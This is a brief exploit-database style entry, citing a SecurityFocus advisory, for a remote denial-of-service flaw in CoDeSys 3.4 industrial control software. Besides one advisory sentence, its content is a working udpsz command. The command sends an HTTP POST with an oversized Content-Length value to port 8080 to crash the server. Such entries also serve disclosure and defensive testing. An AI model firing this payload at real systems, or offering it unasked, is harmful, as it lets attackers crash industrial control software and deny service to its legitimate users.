CoDeSys 3.4 – POST Null Pointer Content-Length Parsing Remote Denial of Service
source: https://www.securityfocus.com/bid/50854/info CoDeSys is prone to multiple denial-of-service vulnerabilities. An attacker can exploit these issues to crash the application and deny service to legitimate users. udpsz -T -c "POST / HTTP/1.0\r\nContent-Length: 4294967295\r\n\r\n" SERVER 8080 -1 |